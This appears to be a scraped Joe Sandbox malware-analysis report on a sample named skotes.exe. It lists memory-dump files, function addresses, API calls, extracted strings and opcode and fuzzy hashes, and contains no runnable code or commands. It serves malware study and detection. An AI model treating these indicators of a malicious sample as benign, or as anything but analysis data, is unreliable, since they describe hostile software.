Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 220b8d02dc6ec4516b847fe0075f2424419de509d62a659bc86d52a9a3aea1ea
Instruction ID: cb94483cd043f5c106f9a6c34fad1abe55ddc27efbb9a4d99c73b2939b7ef3c6
Opcode Fuzzy Hash: 220b8d02dc6ec4516b847fe0075f2424419de509d62a659bc86d52a9a3aea1ea
Instruction Fuzzy Hash: 33A1E57090121A9FDB10DFA8C949BAABFB8FF55314F04852DE819E7241EB35EA44CBD1

Function 005CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 005CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBBE4
_xtime_get.LIBCPMT ref: 005CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBC13

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction ID: 403663dee75bf80e8a66b2630d4849457c40e21e42bf6dff2200d9e5a5163ba7
Opcode Fuzzy Hash: 296dc0008e529b044a2a2b60b60bd6bd57648146f59acb127cd7792b009f2c3c
Instruction Fuzzy Hash: 78212C71A0010AAFDF00EBA4C986EBEBFB9FF48710F100459F505A7251DB209D419BA1

Function 005EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 005EF3A3

Strings

8"a, xrefs: 005EF44B
`'a, xrefs: 005EF375

Memory Dump Source

Source File: 00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000004.00000002.2548643933.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548660492.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548737467.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548757925.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548779046.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548914133.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548934058.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549007032.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549024576.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549046094.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549066787.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549093300.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549116547.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549137012.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549160831.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549182102.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549205251.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549232392.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549254244.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549281911.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549377096.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549402626.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549423584.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549445045.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549465059.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549486202.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549507716.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549529530.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549550742.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549574846.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549600395.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549617416.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549641740.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549663506.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549689464.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549715164.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549738410.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549762597.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549788579.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549822117.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549847687.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549879175.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549902095.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549958721.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2549979243.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550002320.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550025647.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550047971.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2550070415.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"a$`'a
API String ID: 3903695350-1864490601
Opcode ID: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction ID: 8001532daff06d5163ce16449d8ea312a32b74956710e9405f7808ef10635d7f
Opcode Fuzzy Hash: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction Fuzzy Hash: 3F315A31600782DFEB29AA3ADD49B5B7BE8FF84352F144829E0C5D7595DE70AC808B21

Analysis Process: skotes.exePID: 7752, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.9%
Total number of Nodes:	1205
Total number of Limit Nodes:	112

Executed Functions

Function 005BE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UA==, xrefs: 005BEB0F, 005BED56
9c9aa5, xrefs: 005BFB8E
#, xrefs: 005C0624
WDw=, xrefs: 005BF71D, 005BF9FA
WTw=, xrefs: 005C097D
MGE+, xrefs: 005BE821
WTs=, xrefs: 005C05CA
L1a, xrefs: 005BF7E5
MQ==, xrefs: 005BE592
111, xrefs: 005BF7A0
246122658369, xrefs: 005BF737, 005BFA14, 005C05E7, 005C099A
GnNoc2Hc, xrefs: 005BE56C

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1a$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2169553746
Opcode ID: 10e51fd86e1d95493a6b3d95dbfb418e55694b33b075c3bbc8e77565f54d7fac
Instruction ID: 1e6cbd81fcd7e02bdbba3a6fe5ef903557102a19636d189aa91cdfc7df8290e2
Opcode Fuzzy Hash: 10e51fd86e1d95493a6b3d95dbfb418e55694b33b075c3bbc8e77565f54d7fac
Instruction Fuzzy Hash: E982D2709042889FEF14DFA8C94ABDE7FB6BB45304F548588E805673C2D7759A88CBD2

Function 005F2517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00606758), ref: 005F275C

Strings

Eastern Standard Time, xrefs: 005F27CB
Eastern Summer Time, xrefs: 005F27FA
Xg`, xrefs: 005F2705, 005F270B

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg`
API String ID: 565725191-2576861974
Opcode ID: d945b0e3e7c119d44fc19fc2a786404bad3a1f63500a6c8d4de710deada5acbd
Instruction ID: 5d379cf68384be6969b4c9aef147c6fcd8b2abfa2eeb32a1a4a6d938e5954e1f
Opcode Fuzzy Hash: d945b0e3e7c119d44fc19fc2a786404bad3a1f63500a6c8d4de710deada5acbd
Instruction Fuzzy Hash: A1C15AB590024E9BDB149F78CC55AFA7FB9FF85310F18445AE681D7291EB388E41CB50

